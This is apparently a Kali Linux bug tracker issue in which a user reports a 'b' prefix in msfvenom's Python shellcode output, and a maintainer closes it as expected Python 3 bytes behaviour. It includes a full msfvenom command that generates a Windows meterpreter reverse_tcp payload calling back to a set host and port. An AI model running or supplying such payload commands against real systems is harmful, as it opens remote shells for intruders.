View Issue Details

IDProjectCategoryView StatusLast Update
0006107Kali LinuxKali Package Bugpublic2020-02-18 14:24
ReporterJasonGreene Assigned Torhertzog  
PriorityhighSeveritymajorReproducibilityalways
Status closedResolutionno change required 
Product Version2020.1 
Summary0006107: "b" Characters in Msvenom Output
Description

When using the msfvenom command to generate shellcode, there's a "b" character at the beginning of each line as demonstrated in the attached screenshot. These need to be removed in order for the shellcode to function.

For example (note the b after buf+=):

buf += b"\xd9\xc3\

Steps To Reproduce

msfvenom -p windows/x64/meterpreter/reverse_tcp -a x64 LHOST=192.168.56.135 LPORT=4444 -f python -b '\x00\x22\x0d\x0a\x0b'

Attached Files
KaliBug.PNG (191,505 bytes)   
KaliBug.PNG (191,505 bytes)   
KaliBug2.PNG (193,162 bytes)   
KaliBug2.PNG (193,162 bytes)   

Activities

rhertzog

rhertzog

2020-02-18 09:51

administrator   ~0012296

These need to be removed in order for the shellcode to function.

Can you elaborate why? A shell code is binary data and using the "bytes" type in Python is the correct thing to do. The switch to Python 3 might require you to adjust your code to handle that type of data.

But this change is not recent in metasploit, it dates back to August 2019 and nobody complained so far.

JasonGreene

JasonGreene

2020-02-18 13:59

reporter   ~0012303

rhertzog,

My apologies. If that behavior is expected from msfvenom, it's new to me as I've been using a previous version of Kali for the past several years. In one particular scenario for a buffer overflow I was exploiting, the new output did not function as intended until I stripped off the "b" characters.

Issue History

Date Modified Username Field Change
2020-02-17 15:45 JasonGreene New Issue
2020-02-17 15:45 JasonGreene File Added: KaliBug.PNG
2020-02-17 15:49 JasonGreene File Added: KaliBug2.PNG
2020-02-18 09:51 rhertzog Assigned To => rhertzog
2020-02-18 09:51 rhertzog Status new => feedback
2020-02-18 09:51 rhertzog Note Added: 0012296
2020-02-18 13:59 JasonGreene Note Added: 0012303
2020-02-18 13:59 JasonGreene Status feedback => assigned
2020-02-18 14:24 rhertzog Status assigned => closed
2020-02-18 14:24 rhertzog Resolution open => no change required